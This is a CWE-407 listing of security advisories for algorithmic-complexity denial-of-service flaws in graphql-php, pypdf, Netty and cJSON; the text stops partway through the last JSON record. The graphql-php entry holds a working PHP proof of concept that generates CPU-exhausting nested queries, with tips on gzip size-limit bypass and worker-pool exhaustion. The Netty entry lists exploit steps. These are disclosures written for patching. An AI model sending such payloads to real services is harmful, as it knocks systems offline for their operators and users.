Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

377 vulnerabilities reference this CWE, most recent first.

GHSA-FC86-6RV6-2JPM

Vulnerability from github – Published: 2026-05-04 22:22 – Updated: 2026-05-04 22:22
VLAI
Summary
webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments
Details

Summary

OverlappingFieldsCanBeMerged validation rule has O(n^2 x m^2) worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.

Affected Component

src/Validator/Rules/OverlappingFieldsCanBeMerged.php

Description

graphql-php is a PHP port of graphql-js and inherits the same OverlappingFieldsCanBeMerged algorithm. The rule performs an explicit O(n^2) pairwise comparison loop over fields collected for each response name (collectConflictsWithin), and recurses into sub-selections via findConflict. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to O(n^2 x m^2) where n and m are the number of inline fragments at the outer and inner levels respectively.

graphql-php includes a comparedFragmentPairs PairSet cache (the same class of memoization fix tracked under CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7), but it is keyed by named fragment identity. Inline fragments have no name; they are flattened into the parent $astAndDefs map by the case $selection instanceof InlineFragmentNode branch starting at OverlappingFieldsCanBeMerged.php:266, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.

This finding has been tested against the latest stable release webonyx/graphql-php@v15.31.4 running on PHP 8.3.30.

Root Cause

1. Pairwise O(n^2) loop (collectConflictsWithin)

// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306
$fieldsLength = count($fields);

if ($fieldsLength > 1) {
    for ($i = 0; $i < $fieldsLength; ++$i) {                             // line 311
        for ($j = $i + 1; $j < $fieldsLength; ++$j) {                    // line 312
            $conflict = $this->findConflict(
                $context,
                $parentFieldsAreMutuallyExclusive,
                $responseName,
                $fields[$i],
                $fields[$j]
            );
            // ...
        }
    }
}

count($fields) grows without bound when multiple inline fragments select the same response name in the same parent selection set.

2. Inline fragment flattening (internalCollectFieldsAndFragmentNames)

// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266
case $selection instanceof InlineFragmentNode:
    $typeCondition = $selection->typeCondition;
    $inlineFragmentType = $typeCondition === null
        ? $parentType
        : AST::typeFromAST([$context->getSchema(), 'getType'], $typeCondition);

    $this->internalCollectFieldsAndFragmentNames(
        $context,
        $inlineFragmentType,
        $selection->selectionSet,
        $astAndDefs,           // flattened into the parent map
        $fragmentNames
    );
    break;

N inline fragments selecting the same response name produce N entries in $astAndDefs[$responseName], which then trigger N*(N-1)/2 findConflict calls.

3. The named-fragment cache does not cover this code path

// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41
protected PairSet $comparedFragmentPairs;

// :54 (in __construct)
$this->comparedFragmentPairs = new PairSet();

PairSet is keyed by (fragmentName1, fragmentName2). Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.

4. No comparison budget, no validation timeout

There is no counter shared across collectConflictsWithin, collectConflictsBetween, and the recursive findConflict calls. The rule runs to completion regardless of cost. graphql-php exposes no validate_timeout equivalent.

Proof of Concept

<?php
// composer require webonyx/graphql-php:v15.31.4
require __DIR__.'/vendor/autoload.php';

use GraphQL\Language\Parser;
use GraphQL\Validator\DocumentValidator;
use GraphQL\Utils\BuildSchema;

$schema = BuildSchema::build('type Query { field: Node }  type Node { f: Node, g: Node, x: String }');

function gen(int $n, int $m): string {
    $inner = implode(' ', array_fill(0, $m, '... on Node { x }'));
    $outer = implode(' ', array_fill(0, $n, "... on Node { f { $inner } }"));
    return "{ field { $outer } }";
}

echo " N    M  | size      | validate ms | errors\n";
echo "---------|-----------|-------------|--------\n";
foreach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {
    $q = gen($n, $m);
    $doc = Parser::parse($q);
    $t0 = microtime(true);
    $errors = DocumentValidator::validate($schema, $doc);
    $elapsed = round((microtime(true) - $t0) * 1000);
    printf("%4d %4d | %7dB | %10d  | %d\n", $n, $m, strlen($q), $elapsed, count($errors));
}

Measured output on webonyx/graphql-php@v15.31.4, PHP 8.3.30, Linux x86_64

graphql-php version: v15.31.4
PHP version: 8.3.30

 N    M  | size      | validate ms | errors
---------|-----------|-------------|--------
  20   20 |    7653B |         71  | 0
  50   50 |   46113B |       2020  | 0
 100   50 |   92213B |       7762  | 0
 100  100 |  182213B |      29660  | 0
 150  100 |  273313B |      66052  | 0
 200  100 |  364413B |     117082  | 0

The growth confirms O(N^2) outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes 117 seconds of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.

Impact

  • Default-on rule: OverlappingFieldsCanBeMerged is part of the rules registered by DocumentValidator::defaultRules() and is enabled by default in DocumentValidator::validate(). Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.
  • Pre-execution: the cost is in the validation phase. QueryComplexity and QueryDepth rules cannot help: the example query has depth 3 and complexity 1.
  • PHP max_execution_time hits the wall too late: a default Lighthouse/Laravel deployment ships with max_execution_time = 30 seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by max_execution_time, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.
  • Body-size and WAF bypass via gzip: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.
  • php-fpm worker pool exhaustion: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.
  • Existing CVE-2023-26144 fix is insufficient: the published PairSet cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.

This is the same vulnerability class as CVE-2023-26144 (partially fixed by named-fragment memoization only) and CVE-2023-28867 (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.

Affected Versions

  • webonyx/graphql-php@v15.31.4 (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.
  • All versions of webonyx/graphql-php that ship OverlappingFieldsCanBeMerged (effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but were not retested individually.

Remediation

Three options ordered from best to minimal:

Option 1 -- Adopt the Adameit algorithm

Replace pairwise comparison with the uniqueness-check algorithm designed by Simon Adameit, used today by graphql-java (post CVE-2023-28867) and Sangria. The algorithm transforms conflict-freedom into a uniqueness requirement and runs in O(n log n) instead of O(n^2). See graphql/graphql-js issue #2185 for the design discussion and the Sangria PR #12 for the original implementation.

Option 2 -- Comparison budget

Add a comparison counter on OverlappingFieldsCanBeMerged shared across collectConflictsWithin, collectConflictsBetween, and the recursive findConflict calls. Throw a Error after a configurable threshold (for example 10,000 comparisons by default). This is the approach graphql-java implemented after CVE-2023-28867.

Option 3 -- Cap inline-fragment flattening

In internalCollectFieldsAndFragmentNames, cap count($astAndDefs[$responseName]) at a configurable limit (for example 1,000) and emit a validation error if exceeded. This is a narrower fix that targets the specific bypass path but does not address other potential O(n^2) surfaces.

Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "webonyx/graphql-php"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "15.32.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T22:22:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`OverlappingFieldsCanBeMerged` validation rule has `O(n^2 x m^2)` worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.\n\n## Affected Component\n\n`src/Validator/Rules/OverlappingFieldsCanBeMerged.php`\n\n## Description\n\ngraphql-php is a PHP port of graphql-js and inherits the same `OverlappingFieldsCanBeMerged` algorithm. The rule performs an explicit `O(n^2)` pairwise comparison loop over fields collected for each response name (`collectConflictsWithin`), and recurses into sub-selections via `findConflict`. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to `O(n^2 x m^2)` where `n` and `m` are the number of inline fragments at the outer and inner levels respectively.\n\ngraphql-php includes a `comparedFragmentPairs` PairSet cache (the same class of memoization fix tracked under [CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)), but it is keyed by **named fragment** identity. Inline fragments have no name; they are flattened into the parent `$astAndDefs` map by the `case $selection instanceof InlineFragmentNode` branch starting at `OverlappingFieldsCanBeMerged.php:266`, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.\n\nThis finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30.\n\n## Root Cause\n\n### 1. Pairwise `O(n^2)` loop (`collectConflictsWithin`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306\n$fieldsLength = count($fields);\n\nif ($fieldsLength \u003e 1) {\n    for ($i = 0; $i \u003c $fieldsLength; ++$i) {                             // line 311\n        for ($j = $i + 1; $j \u003c $fieldsLength; ++$j) {                    // line 312\n            $conflict = $this-\u003efindConflict(\n                $context,\n                $parentFieldsAreMutuallyExclusive,\n                $responseName,\n                $fields[$i],\n                $fields[$j]\n            );\n            // ...\n        }\n    }\n}\n```\n\n`count($fields)` grows without bound when multiple inline fragments select the same response name in the same parent selection set.\n\n### 2. Inline fragment flattening (`internalCollectFieldsAndFragmentNames`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266\ncase $selection instanceof InlineFragmentNode:\n    $typeCondition = $selection-\u003etypeCondition;\n    $inlineFragmentType = $typeCondition === null\n        ? $parentType\n        : AST::typeFromAST([$context-\u003egetSchema(), \u0027getType\u0027], $typeCondition);\n\n    $this-\u003einternalCollectFieldsAndFragmentNames(\n        $context,\n        $inlineFragmentType,\n        $selection-\u003eselectionSet,\n        $astAndDefs,           // flattened into the parent map\n        $fragmentNames\n    );\n    break;\n```\n\n`N` inline fragments selecting the same response name produce `N` entries in `$astAndDefs[$responseName]`, which then trigger `N*(N-1)/2` `findConflict` calls.\n\n### 3. The named-fragment cache does not cover this code path\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41\nprotected PairSet $comparedFragmentPairs;\n\n// :54 (in __construct)\n$this-\u003ecomparedFragmentPairs = new PairSet();\n```\n\n`PairSet` is keyed by `(fragmentName1, fragmentName2)`. Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.\n\n### 4. No comparison budget, no validation timeout\n\nThere is no counter shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. The rule runs to completion regardless of cost. graphql-php exposes no `validate_timeout` equivalent.\n\n## Proof of Concept\n\n```php\n\u003c?php\n// composer require webonyx/graphql-php:v15.31.4\nrequire __DIR__.\u0027/vendor/autoload.php\u0027;\n\nuse GraphQL\\Language\\Parser;\nuse GraphQL\\Validator\\DocumentValidator;\nuse GraphQL\\Utils\\BuildSchema;\n\n$schema = BuildSchema::build(\u0027type Query { field: Node }  type Node { f: Node, g: Node, x: String }\u0027);\n\nfunction gen(int $n, int $m): string {\n    $inner = implode(\u0027 \u0027, array_fill(0, $m, \u0027... on Node { x }\u0027));\n    $outer = implode(\u0027 \u0027, array_fill(0, $n, \"... on Node { f { $inner } }\"));\n    return \"{ field { $outer } }\";\n}\n\necho \" N    M  | size      | validate ms | errors\\n\";\necho \"---------|-----------|-------------|--------\\n\";\nforeach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {\n    $q = gen($n, $m);\n    $doc = Parser::parse($q);\n    $t0 = microtime(true);\n    $errors = DocumentValidator::validate($schema, $doc);\n    $elapsed = round((microtime(true) - $t0) * 1000);\n    printf(\"%4d %4d | %7dB | %10d  | %d\\n\", $n, $m, strlen($q), $elapsed, count($errors));\n}\n```\n\n### Measured output on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, Linux x86_64\n\n```\ngraphql-php version: v15.31.4\nPHP version: 8.3.30\n\n N    M  | size      | validate ms | errors\n---------|-----------|-------------|--------\n  20   20 |    7653B |         71  | 0\n  50   50 |   46113B |       2020  | 0\n 100   50 |   92213B |       7762  | 0\n 100  100 |  182213B |      29660  | 0\n 150  100 |  273313B |      66052  | 0\n 200  100 |  364413B |     117082  | 0\n```\n\nThe growth confirms `O(N^2)` outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes **117 seconds** of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.\n\n## Impact\n\n- **Default-on rule**: `OverlappingFieldsCanBeMerged` is part of the rules registered by `DocumentValidator::defaultRules()` and is enabled by default in `DocumentValidator::validate()`. Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.\n- **Pre-execution**: the cost is in the validation phase. `QueryComplexity` and `QueryDepth` rules cannot help: the example query has depth 3 and complexity 1.\n- **PHP `max_execution_time` hits the wall too late**: a default Lighthouse/Laravel deployment ships with `max_execution_time = 30` seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by `max_execution_time`, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.\n- **Body-size and WAF bypass via gzip**: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.\n- **php-fpm worker pool exhaustion**: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.\n- **Existing CVE-2023-26144 fix is insufficient**: the published `PairSet` cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.\n\nThis is the same vulnerability class as **CVE-2023-26144** (partially fixed by named-fragment memoization only) and **CVE-2023-28867** (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.\n\n## Affected Versions\n\n- **`webonyx/graphql-php@v15.31.4`** (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.\n- All versions of `webonyx/graphql-php` that ship `OverlappingFieldsCanBeMerged` (effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but were not retested individually.\n\n## Remediation\n\nThree options ordered from best to minimal:\n\n### Option 1 -- Adopt the Adameit algorithm\n\nReplace pairwise comparison with the uniqueness-check algorithm designed by Simon Adameit, used today by graphql-java (post CVE-2023-28867) and Sangria. The algorithm transforms conflict-freedom into a uniqueness requirement and runs in `O(n log n)` instead of `O(n^2)`. See [graphql/graphql-js issue #2185](https://github.com/graphql/graphql-js/issues/2185) for the design discussion and the [Sangria PR #12](https://github.com/sangria-graphql-org/sangria/pull/12) for the original implementation.\n\n### Option 2 -- Comparison budget\n\nAdd a comparison counter on `OverlappingFieldsCanBeMerged` shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. Throw a `Error` after a configurable threshold (for example 10,000 comparisons by default). This is the approach graphql-java implemented after CVE-2023-28867.\n\n### Option 3 -- Cap inline-fragment flattening\n\nIn `internalCollectFieldsAndFragmentNames`, cap `count($astAndDefs[$responseName])` at a configurable limit (for example 1,000) and emit a validation error if exceeded. This is a narrower fix that targets the specific bypass path but does not address other potential `O(n^2)` surfaces.\n\n## Resources\n\n- [CVE-2023-26144 -- graphql-js (partial fix, named-fragment cache only)](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)\n- [CVE-2023-28867 -- graphql-java (full fix via Adameit algorithm)](https://github.com/advisories/GHSA-p4qx-6w5p-4rj2)\n- [graphql-js Issue #2185 -- Faster algorithm for OverlappingFieldsCanBeMerged](https://github.com/graphql/graphql-js/issues/2185)\n- [Sangria PR #12 -- original optimised implementation](https://github.com/sangria-graphql-org/sangria/pull/12)\n- [GraphQL spec section 5.3.2 -- Field Selection Merging](https://spec.graphql.org/October2021/#sec-Field-Selection-Merging)\n- Companion advisory for this implementation: `GraphQL\\Language\\Parser` parser stack overflow via deeply nested queries (Unbounded recursion in parser causes stack overflow on crafted nested input).",
  "id": "GHSA-fc86-6rv6-2jpm",
  "modified": "2026-05-04T22:22:09Z",
  "published": "2026-05-04T22:22:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webonyx/graphql-php/security/advisories/GHSA-fc86-6rv6-2jpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/issues/2185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sangria-graphql-org/sangria/pull/12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webonyx/graphql-php/commit/996adcfce33442f6fc01214777bc8620cc142d85"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9pv7-vfvm-6vr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p4qx-6w5p-4rj2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webonyx/graphql-php"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webonyx/graphql-php/releases/tag/v15.32.2"
    },
    {
      "type": "WEB",
      "url": "https://spec.graphql.org/October2021/#sec-Field-Selection-Merging"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments"
}

GHSA-FC8X-2RWW-XW9M

Vulnerability from github – Published: 2026-09-02 14:38 – Updated: 2026-09-02 14:38
VLAI
Summary
pypdf: Inefficient handling of non-whitespace inputs in read_until_whitespace
Details

Impact

An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a call to read_until_whitespace with an input which does not have whitespace for a long time.

Patches

This has been fixed in pypdf==6.15.0.

Workarounds

If you cannot upgrade yet, consider applying the changes from PR #3947.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-82398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:38:12Z",
    "nvd_published_at": "2026-08-31T22:17:23Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a call to `read_until_whitespace` with an input which does not have whitespace for a long time.\n\n### Patches\nThis has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3947](https://github.com/py-pdf/pypdf/pull/3947).",
  "id": "GHSA-fc8x-2rww-xw9m",
  "modified": "2026-09-02T14:38:12Z",
  "published": "2026-09-02T14:38:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fc8x-2rww-xw9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3947"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/commit/4959848e057e37c218dccad7465259210923faaa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf: Inefficient handling of non-whitespace inputs in read_until_whitespace"
}

GHSA-FCCG-MWVH-QQG4

Vulnerability from github – Published: 2026-09-08 18:14 – Updated: 2026-09-08 18:14
VLAI
Summary
Netty: Fragmented ClientHello records trigger quadratic pre-handshake reassembly in default SNI parsing
Details

Summary

Netty's default SNI entrypoint reparses and recopies previously received ClientHello fragments on every additional TLS handshake record. A remote peer can send a small first record that advertises a large ClientHello length and then drip the body in many tiny records, causing superlinear (quadratic) CPU work before the handshake completes. With 4095 one-byte fragments, the handler recopies 8,386,560 bytes from only 24,579 bytes on the wire — a 341× amplification ratio.

Affected Entrypoints

  • io.netty.handler.ssl.SniHandler — default constructors
  • io.netty.handler.ssl.SslClientHelloHandler — pre-handshake ClientHello aggregation path

Vulnerable Code Locations

  • handler/src/main/java/io/netty/handler/ssl/SniHandler.java:85
  • handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:75 (decode entry)
  • handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:165 (handshakeBuffer.clear)
  • handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:174 (writeBytes re-copy)
  • codec-base/src/main/java/io/netty/handler/codec/ByteToMessageDecoder.java:294 (cumulation retention)

Exploit Path

1. TCP connection → SniHandler → SslClientHelloHandler.decode
2. First record: TLS handshake header declaring large ClientHello length (e.g., 4096 bytes)
3. Attacker sends thousands of tiny follow-on handshake records (1 byte each)
4. On each fragment: handshakeBuffer.clear() + writeBytes() re-copies ALL accumulated body bytes
5. Total bytes copied = n*(n+1)/2 where n = number of body bytes → quadratic
6. Event-loop CPU exhausted before SslHandler takes over

Impact

  • Vulnerability Type: Inefficient Algorithmic Complexity
  • An unauthenticated network attacker can drive disproportionate CPU consumption on the Netty event loop
  • Affects all Netty deployments using SniHandler for TLS termination (the default SNI path)
  • No privileges, user interaction, or special configuration required
  • Can degrade or stall TLS connection handling for all clients on the affected event loop
  • The attack requires only modest bandwidth (~25 KB) to trigger significant CPU work

Credits

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.16.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.17.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.136.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.137.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:14:56Z",
    "nvd_published_at": "2026-08-19T21:17:37Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNetty\u0027s default SNI entrypoint reparses and recopies previously received ClientHello fragments on every additional TLS handshake record. A remote peer can send a small first record that advertises a large ClientHello length and then drip the body in many tiny records, causing **superlinear (quadratic) CPU work** before the handshake completes. With 4095 one-byte fragments, the handler recopies **8,386,560 bytes** from only **24,579 bytes** on the wire \u2014 a **341\u00d7 amplification** ratio.\n\n### Affected Entrypoints\n\n- `io.netty.handler.ssl.SniHandler` \u2014 default constructors\n- `io.netty.handler.ssl.SslClientHelloHandler` \u2014 pre-handshake ClientHello aggregation path\n\n### Vulnerable Code Locations\n\n- `handler/src/main/java/io/netty/handler/ssl/SniHandler.java:85`\n- `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:75` (decode entry)\n- `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:165` (handshakeBuffer.clear)\n- `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:174` (writeBytes re-copy)\n- `codec-base/src/main/java/io/netty/handler/codec/ByteToMessageDecoder.java:294` (cumulation retention)\n\n### Exploit Path\n\n```\n1. TCP connection \u2192 SniHandler \u2192 SslClientHelloHandler.decode\n2. First record: TLS handshake header declaring large ClientHello length (e.g., 4096 bytes)\n3. Attacker sends thousands of tiny follow-on handshake records (1 byte each)\n4. On each fragment: handshakeBuffer.clear() + writeBytes() re-copies ALL accumulated body bytes\n5. Total bytes copied = n*(n+1)/2 where n = number of body bytes \u2192 quadratic\n6. Event-loop CPU exhausted before SslHandler takes over\n```\n\n### Impact\n\n- **Vulnerability Type:** Inefficient Algorithmic Complexity\n- An unauthenticated network attacker can drive disproportionate CPU consumption on the Netty event loop\n- Affects **all** Netty deployments using `SniHandler` for TLS termination (the default SNI path)\n- No privileges, user interaction, or special configuration required\n- Can degrade or stall TLS connection handling for all clients on the affected event loop\n- The attack requires only modest bandwidth (~25 KB) to trigger significant CPU work\n\n---\n### Credits\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "GHSA-fccg-mwvh-qqg4",
  "modified": "2026-09-08T18:14:56Z",
  "published": "2026-09-08T18:14:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-fccg-mwvh-qqg4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/17213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/17217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/1b5abc6443b63726c72cdd285af2feb7ddbb8ff7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9e0519239108a69b7e9bbc5e9182ee139a0d7961"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.137.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.17.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty: Fragmented ClientHello records trigger quadratic pre-handshake reassembly in default SNI parsing"
}

GHSA-FF2V-F99F-WM3F

Vulnerability from github – Published: 2026-07-29 15:31 – Updated: 2026-07-29 15:31
VLAI
Details

cJSON through 1.7.19 contains an inefficient algorithmic complexity flaw in cJSON_Compare(). When comparing objects, the function recurses into each shared subtree twice, once in each direction, with no depth guard, making the running time exponential in nesting depth. A small, deeply nested document of a few hundred bytes (depth around 40) compared for equality consumes hours of CPU, and the cost roughly doubles with each additional level of nesting. An application that calls cJSON_Compare() on attacker-influenced JSON that is structurally equal to a reference document is exposed to a denial-of-service condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-67216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-29T14:16:35Z",
    "severity": "HIGH"
  },
  "details": "cJSON through 1.7.19 contains an inefficient algorithmic complexity flaw in cJSON_Compare(). When comparing objects, the function recurses into each shared subtree twice, once in each direction, with no depth guard, making the running time exponential in nesting depth. A small, deeply nested document of a few hundred bytes (depth around 40) compared for equality consumes hours of CPU, and the cost roughly doubles with each additional level of nesting. An application that calls cJSON_Compare() on attacker-influenced JSON that is structurally equal to a reference document is exposed to a denial-of-service condition.",
  "id": "GHSA-ff2v-f99f-wm3f",
  "modified": "2026-07-29T15:31:12Z",
  "published": "2026-07-29T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67216"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DaveGamble/cJSON/blob/v1.7.19/cJSON.c#L3057-L3180"
    },
    {
      "type": "WEB",
      "url": "https://joshua.hu/cjson-json-parser-cve-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/cjson-cjson-compare-exponential-complexity-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
